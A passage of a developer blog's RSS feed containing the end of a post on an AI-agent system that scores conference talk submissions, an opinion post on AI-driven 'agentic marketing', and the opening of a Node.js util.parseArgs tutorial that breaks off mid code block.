&lt;h2 id=&quot;real-world-use-cases-and-impact&quot;&gt;Real-World Use Cases and Impact&lt;/h2&gt;
&lt;h3 id=&quot;conference-organizers&quot;&gt;Conference Organizers&lt;/h3&gt;
&lt;p&gt;I’ve seen this system transform conference organizing workflows:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Multi-track Conferences&lt;/strong&gt;: Process 300+ submissions across 8 tracks in hours instead of weeks&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Objective Scoring&lt;/strong&gt;: Eliminate unconscious bias with consistent AI evaluation&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Time Efficiency&lt;/strong&gt;: Reduce review time from 40+ hours to 2-3 hours of verification&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Quality Consistency&lt;/strong&gt;: Maintain evaluation standards across multiple reviewers&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;devrel-teams&quot;&gt;DevRel Teams&lt;/h3&gt;
&lt;p&gt;For Developer Relations professionals, the system provides:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Event Planning Automation&lt;/strong&gt;: Quickly identify high-potential speakers and topics&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Community Insights&lt;/strong&gt;: Understand trending topics and speaker expertise&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Resource Optimization&lt;/strong&gt;: Focus human review time on borderline cases&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Data-Driven Decisions&lt;/strong&gt;: Make speaker selection based on comprehensive analysis&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;educational-value-for-developers&quot;&gt;Educational Value for Developers&lt;/h3&gt;
&lt;p&gt;Beyond practical applications, this project demonstrates:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;AI Agent Architecture&lt;/strong&gt;: Real-world implementation of AI workflows using Mastra&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;TypeScript Best Practices&lt;/strong&gt;: Type-safe database operations and API integrations&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Queue Management&lt;/strong&gt;: Handling concurrent processing with rate limiting&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Data Persistence&lt;/strong&gt;: Robust SQLite integration with proper schema design&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;customization-and-extension-opportunities&quot;&gt;Customization and Extension Opportunities&lt;/h2&gt;
&lt;h3 id=&quot;adding-custom-evaluation-criteria&quot;&gt;Adding Custom Evaluation Criteria&lt;/h3&gt;
&lt;p&gt;The system’s modular design makes it easy to add new evaluation dimensions:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Update Agent Schema&lt;/strong&gt;: Modify the output schema in &lt;code&gt;cfp-evaluation-agent.ts&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Extend Database Schema&lt;/strong&gt;: Add new score fields to the sessions table&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Update Workflow Logic&lt;/strong&gt;: Include new criteria in the evaluation workflow&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Modify Export Systems&lt;/strong&gt;: Ensure new fields appear in JSON and CSV exports&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id=&quot;data-source-integration&quot;&gt;Data Source Integration&lt;/h3&gt;
&lt;p&gt;While I built this for Sessionize data, the architecture supports multiple sources:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;API Endpoints&lt;/strong&gt;: Replace JSON file loading with direct API integration&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Custom Formats&lt;/strong&gt;: Adapt the data mapping layer for different CFP platforms&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Real-time Processing&lt;/strong&gt;: Implement webhook endpoints for live evaluation&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Third-party Services&lt;/strong&gt;: Integrate with existing conference management tools&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;advanced-ai-features&quot;&gt;Advanced AI Features&lt;/h3&gt;
&lt;p&gt;Future enhancements I’m considering include:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Multi-language Support&lt;/strong&gt;: Evaluate submissions in multiple languages&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Sentiment Analysis&lt;/strong&gt;: Assess emotional engagement potential&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Plagiarism Detection&lt;/strong&gt;: Check for duplicate or recycled content&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Market Demand Analysis&lt;/strong&gt;: Evaluate topic popularity using Google Trends&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Social Proof Integration&lt;/strong&gt;: Consider speaker social media presence&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;benefits-and-roi-analysis&quot;&gt;Benefits and ROI Analysis&lt;/h2&gt;
&lt;h3 id=&quot;quantifiable-time-savings&quot;&gt;Quantifiable Time Savings&lt;/h3&gt;
&lt;p&gt;Based on my experience organizing conferences:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Manual Review Time&lt;/strong&gt;: 3-5 minutes per submission × 300 submissions = 15-25 hours&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Automated Processing&lt;/strong&gt;: 30 seconds per submission × 300 submissions = 2.5 hours&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Time Savings&lt;/strong&gt;: 85-90% reduction in initial evaluation time&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Quality Improvement&lt;/strong&gt;: Consistent application of evaluation criteria&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;consistency-advantages&quot;&gt;Consistency Advantages&lt;/h3&gt;
&lt;p&gt;The AI system eliminates common human evaluation issues:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Fatigue Effects&lt;/strong&gt;: No degradation in evaluation quality over time&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Bias Reduction&lt;/strong&gt;: Consistent criteria application regardless of reviewer preferences&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Documentation&lt;/strong&gt;: Every score includes detailed justification&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Reproducibility&lt;/strong&gt;: Same evaluation criteria applied to all submissions&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;scalability-benefits&quot;&gt;Scalability Benefits&lt;/h3&gt;
&lt;p&gt;The system scales efficiently with submission volume:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Linear Processing&lt;/strong&gt;: Processing time scales linearly with submissions&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Concurrent Capability&lt;/strong&gt;: Multiple evaluations can run simultaneously&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Resource Efficiency&lt;/strong&gt;: Minimal human oversight required&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Cost Effectiveness&lt;/strong&gt;: Reduces need for multiple human reviewers&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;future-enhancements-and-roadmap&quot;&gt;Future Enhancements and Roadmap&lt;/h2&gt;
&lt;h3 id=&quot;technical-improvements&quot;&gt;Technical Improvements&lt;/h3&gt;
&lt;p&gt;I’m actively working on several enhancements:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Phase 1: Enhanced AI Integration&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Real-time LLM integration with multiple model support&lt;/li&gt;
&lt;li&gt;Advanced prompt engineering for domain-specific evaluations&lt;/li&gt;
&lt;li&gt;Confidence scoring for AI assessments&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Phase 2: Advanced Analytics&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Speaker expertise trending analysis&lt;/li&gt;
&lt;li&gt;Topic clustering and gap identification&lt;/li&gt;
&lt;li&gt;Historical performance correlation analysis&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Phase 3: Integration Ecosystem&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Direct Sessionize API integration&lt;/li&gt;
&lt;li&gt;Conference management platform plugins&lt;/li&gt;
&lt;li&gt;Real-time collaboration features for review committees&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;community-features&quot;&gt;Community Features&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Open Source Collaboration&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Community-driven evaluation criteria&lt;/li&gt;
&lt;li&gt;Shared evaluation datasets for training&lt;/li&gt;
&lt;li&gt;Plugin architecture for custom agents&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Transparency Improvements&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Public evaluation methodology documentation&lt;/li&gt;
&lt;li&gt;Open scoring algorithms for community review&lt;/li&gt;
&lt;li&gt;Feedback loops for continuous improvement&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;how-to-run-the-ai-agent-system-locally&quot;&gt;How to Run the AI Agent System Locally&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;1. Environment Preparation&lt;/strong&gt;&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;# Ensure Node.js 20.9.0 or later&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;node --version&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;# Clone the repository&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;git clone https://github.com/lirantal/devrel-cfp-committee&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;cd&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; devrel-cfp-committee&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;2. Dependency Installation&lt;/strong&gt;&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;# Install all dependencies&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;npm install&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;# Verify Mastra CLI installation&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;npx mastra --version&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;3. Data Preparation&lt;/strong&gt;&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;# Copy your Sessionize exports to the fixtures directory&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;# Sessions: __fixtures__/db.json&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;# Speakers: __fixtures__/speakers.json&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;# Initialize database&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;npm run db:seed&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;4. Configuration&lt;/strong&gt;&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;# For production AI evaluation, set API keys&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;export&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; GOOGLE_GENERATIVE_AI_API_KEY=your_key_here&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;# Optional: Configure concurrency limits&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;# Edit src/app.ts to adjust queue concurrency&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;5. First Evaluation Run&lt;/strong&gt;&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;# Process all submissions&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;npm run process-cfp&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;# View results&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;npm run db:view&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;# Export for analysis&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;npm run db:export-csv&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;common-troubleshooting&quot;&gt;Common Troubleshooting&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Database Path Issues&lt;/strong&gt;: The system automatically handles Mastra’s execution environment, but if you encounter path errors, ensure the &lt;code&gt;sessions.db&lt;/code&gt; file exists in the project root.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;API Rate Limits&lt;/strong&gt;: Start with concurrency set to 1 and gradually increase based on your API provider’s limits.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Memory Usage&lt;/strong&gt;: For very large datasets (1000+ submissions), monitor memory usage and consider processing in batches.&lt;/p&gt;
&lt;h3 id=&quot;best-practices-and-tips&quot;&gt;Best Practices and Tips&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Data Quality&lt;/strong&gt;: Ensure your Sessionize exports include all required fields (title, description, speakers, categories).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Evaluation Criteria&lt;/strong&gt;: Customize the scoring criteria to match your conference’s specific needs and audience.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Human Review&lt;/strong&gt;: Use the AI scores as a first-pass filter, then apply human judgment to borderline cases.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Iterative Improvement&lt;/strong&gt;: Track evaluation accuracy over time and refine prompts based on outcomes.&lt;/p&gt;
&lt;h2 id=&quot;conclusion-transforming-conference-management&quot;&gt;Conclusion: Transforming Conference Management&lt;/h2&gt;
&lt;p&gt;Building this AI-powered CFP evaluation system has fundamentally changed how I approach conference organizing. What once required weeks of manual review now takes hours, while maintaining—and often exceeding—the quality and consistency of human evaluation.&lt;/p&gt;
&lt;p&gt;The system demonstrates the transformative potential of AI agents when applied thoughtfully to real-world problems. By combining structured evaluation criteria with AI’s ability to process large volumes of data consistently, we can eliminate the drudgery of repetitive tasks while preserving the nuanced judgment that makes great conferences.&lt;/p&gt;
&lt;p&gt;More importantly, this project showcases how modern AI frameworks like Mastra enable developers to build production-ready agent systems without requiring deep machine learning expertise. The TypeScript-first approach, combined with robust persistence and resume capabilities, makes this a practical solution for real conference organizing workflows.&lt;/p&gt;
&lt;p&gt;As the tech conference landscape continues to grow, tools like this become essential for maintaining quality while scaling operations. The future of conference management lies not in replacing human judgment, but in augmenting it with intelligent systems that handle the heavy lifting while preserving the human insights that make events truly valuable.&lt;/p&gt;
&lt;p&gt;Whether you’re a conference organizer seeking to improve your CFP process, a DevRel professional looking to scale event planning, or a developer interested in building practical AI applications, this system provides a comprehensive foundation for intelligent automation in the conference management space.&lt;/p&gt;
&lt;p&gt;The code is open source, I invite you to explore, contribute, and help shape the future of AI-powered event management.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Ready to revolutionize your CFP evaluation process? Get started with the repository at &lt;a href=&quot;https://github.com/lirantal/devrel-cfp-committee&quot;&gt;https://github.com/lirantal/devrel-cfp-committee&lt;/a&gt; and join the community of conference organizers leveraging AI to build better events.&lt;/em&gt;&lt;/p&gt;</content:encoded></item><item><title>Agentic Marketing: The Future of AI-Driven Marketing Strategies</title><link>https://lirantal.com/blog/agentic-marketing-future-ai-driven-marketing-strategies/</link><guid>https://lirantal.com/blog/agentic-marketing-future-ai-driven-marketing-strategies/</guid><description>Agentic marketing is going to be the next marketing transformation that product marketers and growth teams need to embrace to stay ahead of the curve. This paradigm shift is set to revolutionize
 the way businesses engage with their audience.</description><pubDate>Wed, 17 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Your traditional marketing tactics are not going to make it because they are not scalable, do not have a ‘wow effect’, and are underwhelming. No worries though, enter agentic marketing into the chat. Agentic marketing is where AI agents autonomously execute marketing strategies, creating personalized and engaging experiences for your audience.&lt;/p&gt;
&lt;p&gt;What does embracing Agentic Marketing looks like though? the future of AI-driven marketing strategies means leveraging AI agents to automate and optimize various marketing tasks, from content creation to customer engagement. Often times, we think that using agents means efficiency such as automating repetitive tasks and getting the job done faster, right? For example, many marketing teams will go to the obvious places of using AI to summarize articles, generate social media posts, or create email campaigns. While these are great use cases, they are not the only ones. You’re thinking too small.&lt;/p&gt;
&lt;p&gt;A more futuristic approach of putting AI agents at play is not only enhancing efficiency but also creating a far more sophisiticated experiences with a touch of personalized data points that really push the boundaries of what marketing can be. Following are some examples of how you can leverage agentic marketing.&lt;/p&gt;
&lt;h2 id=&quot;personalized-onboarding-experiences&quot;&gt;Personalized onboarding experiences&lt;/h2&gt;
&lt;p&gt;When a user signs up for your SaaS product, instead of sending them a generic welcome email, you can use an AI agent to analyze their profile, preferences, and behavior to create a personalized onboarding experience. This could include tailored tutorials, product recommendations, and even personalized follow-up emails based on their interactions with your product.&lt;/p&gt;
&lt;p&gt;Here’s Arvid Kahl’s idea on how to implement this:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/arvid-kahl-agentic-marketing-idea-for-email-touchpoints.png&quot; alt=&quot;arvid kahl agentic marketing idea for email touchpoints&quot;&gt;&lt;/p&gt;
&lt;p&gt;Why stop there? You can take it a step further by integrating AI agents into more onboarding touchpoints, such as queueing up a cron job for several days after sign-up to analyze the user’s behavior based on your product analytics and events (posthog anyone?). The AI agent can then send personalized emails or notifications based on the user’s actions, such as completing a specific task or reaching a milestone within your product.&lt;/p&gt;
&lt;h2 id=&quot;your-users-have-a-technological-footprint-use-it&quot;&gt;Your users have a technological footprint, use it&lt;/h2&gt;
&lt;p&gt;Instead of sending out generic webinar invites, you can use an AI agent together with a web crawling capability such as FireCrawl and a knowledge graph capability such as Weaviate to gather information about your target audience. You already have the user’s email address, likely their name and company, but what about their interests, recent activities, or even their pain points? Can you stich together a more business-oriented profile of your audience?&lt;/p&gt;
&lt;p&gt;There’s a line here of privacy, ethics and personal social aspect to be unfolded so I don’t want to say this too lightly as I’m aware of the cringe factor here but I’ll speak for myself and give you an example that I can attest to for my own as a user - if I’m on your platform, and you’ve used my email to track my GitHub profile and realize that I’ve been recently active working with a new framework or programming language, and you take that information and send me an email about a webinar, or meetup, or new product support for said technology you identified that I’m working with - I’ll be very engaged and inclined to follow-up on it. That’s super relevant to me.&lt;/p&gt;
&lt;h2 id=&quot;agentic-deep-research&quot;&gt;Agentic Deep Research&lt;/h2&gt;
&lt;p&gt;Instead of current day market research which relies on tactics such as:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Surveys:&lt;/strong&gt; most often startups are leveraging partners and third-party services to “buy out a survey” to get a sense of the market (because startups often don’t have the reach or resources so they outsource it and that translates to hefty $$$)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Focus groups:&lt;/strong&gt; finding them, doing outreach, invites, organizing the logistics for meetings etc is costly and time consuming.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Not that any of the above is wrong or inherently bad, not at all, but they’re often a resource cost you have to pay upfront without knowing the outcome, and a lot of time startups and marketing teams don’t have the luxury of time or money to spend on these activities.&lt;/p&gt;
&lt;p&gt;What if instead you could leverage AI (yes yes, AI again, surprise surprise) &lt;em&gt;AND&lt;/em&gt; scour through the plethora of insights that are already out there, like say, on Reddit? Imagine the treasure trove of market research and competitive analysis you can gather out of genuine user conversations, feedback, ideas, pain points, and seamlessly blend that information together into an AI conversation where you can utilize the powers of LLMs to summarize, extract insights, and even generate reports based on the data you’ve gathered. Priceless, I tell you.&lt;/p&gt;
&lt;p&gt;Actually, not priceless. It’s free :-)&lt;/p&gt;
&lt;p&gt;Ok, almost. Depends on how you approach it but here’s one example that I want to call out as I’ve been wanting to give you practical examples through-out this write-up.&lt;/p&gt;
&lt;p&gt;The &lt;a href=&quot;https://github.com/king-of-the-grackles/reddit-research-mcp&quot;&gt;reddit-research-mcp&lt;/a&gt; server allows you to plug this MCP Server (whether remotely hosted or self-hosted) into your AI of choice (Claude Desktop, ChatGPT, Gemini) and do deep research on Reddit data. You can provide it with a Reddit API key or use the remote hosted version. It allows you to do semantic search across more than 20,000 subreddits and leverage the power of LLMs to extract insights from Reddit’s vast data.&lt;/p&gt;
&lt;p&gt;Consider the prompt:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;Please conduct comprehensive Reddit research to answer: Snyk security platform - gather insights, pain points, user feedback, what users love, what gaps exist in the product, what will delight developers and security practitioners&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/reddit-research-mcp-server-agentic-marketing.png&quot; alt=&quot;reddit research MCP server for agentic marketing capabilities with AI&quot;&gt;&lt;/p&gt;
&lt;h2 id=&quot;whats-next&quot;&gt;What’s next?&lt;/h2&gt;
&lt;p&gt;Given that I’ve already received a bunch of emails that I can only guess follow the above logic to an extent, I’m sure that these marketing and outreach strategies are already being put to use.&lt;/p&gt;
&lt;p&gt;The possibilities are many and every day you’re stuck with traditional marketing strategies is a day you’re missing out on keeping up with the future and creating magical experiences that delight your users and customers.&lt;/p&gt;</content:encoded></item><item><title>Getting Started with CLI Arguments in Node.js</title><link>https://lirantal.com/blog/mastering-cli-arguments-nodejs/</link><guid>https://lirantal.com/blog/mastering-cli-arguments-nodejs/</guid><description>Learn how to enhance your Node.js CLI applications using the built-in `util.parseArgs` API. This guide covers dual-mode operations, input validation, and testing, using the `agent-rules` project as a case study.</description><pubDate>Sat, 13 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Command-line interfaces (CLIs) are a powerful way to interact with software, especially for developers who prefer automation and scripting. In this guide, you’ll learn how to enhance your Node.js CLI applications using the built-in &lt;code&gt;util.parseArgs&lt;/code&gt; API. By exploring the &lt;code&gt;agent-rules&lt;/code&gt; project, you’ll gain insights into implementing dual-mode operations, validating inputs, and testing your CLI tools effectively. This tutorial is designed for intermediate Node.js developers familiar with CLI tools and basic scripting.&lt;/p&gt;
&lt;h2 id=&quot;prerequisites&quot;&gt;Prerequisites&lt;/h2&gt;
&lt;p&gt;Before diving into the tutorial, ensure you have the following:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Node.js&lt;/strong&gt;: Current LTS version&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Basic knowledge&lt;/strong&gt;: Familiarity with CLI tools and Node.js scripting&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Git&lt;/strong&gt;: For cloning repositories&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;setting-up-the-environment&quot;&gt;Setting Up the Environment&lt;/h2&gt;
&lt;p&gt;To get started, you’ll need to set up your development environment. Follow these steps to clone the &lt;code&gt;agent-rules&lt;/code&gt; repository and install the necessary dependencies.&lt;/p&gt;
&lt;h3 id=&quot;1-clone-the-repository&quot;&gt;1. Clone the Repository&lt;/h3&gt;
&lt;p&gt;The &lt;code&gt;agent-rules&lt;/code&gt; project is a CLI tool designed to generate security-focused instructions for AI coding assistants. Start by cloning the repository:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;git clone https://github.com/lirantal/agent-rules.git&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;cd&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; agent-rules&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;2-install-dependencies&quot;&gt;2. Install Dependencies&lt;/h3&gt;
&lt;p&gt;Next, install the required Node.js packages using npm:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;npm install&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This step ensures that all necessary packages are available for the project to run smoothly.&lt;/p&gt;
&lt;h2 id=&quot;understanding-cli-argument-parsing&quot;&gt;Understanding CLI Argument Parsing&lt;/h2&gt;
&lt;p&gt;Node.js provides a built-in API for parsing command-line arguments, which simplifies the process of handling user inputs. The &lt;code&gt;util.parseArgs&lt;/code&gt; API is a powerful tool for this purpose.&lt;/p&gt;
&lt;h3 id=&quot;why-use-utilparseargs&quot;&gt;Why Use &lt;code&gt;util.parseArgs&lt;/code&gt;?&lt;/h3&gt;
&lt;p&gt;Using built-in Node.js modules for CLI development offers several benefits:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Simplicity&lt;/strong&gt;: Reduces the need for external dependencies.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Performance&lt;/strong&gt;: Optimized for Node.js runtime.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Security&lt;/strong&gt;: Minimizes the risk of injection attacks by validating inputs.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;example-parsing-command-line-arguments&quot;&gt;Example: Parsing Command-Line Arguments&lt;/h3&gt;
&lt;p&gt;Here’s a basic example of how to parse command-line arguments using &lt;code&gt;util.parseArgs&lt;/code&gt;:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; { parseArgs } &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;node:util&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
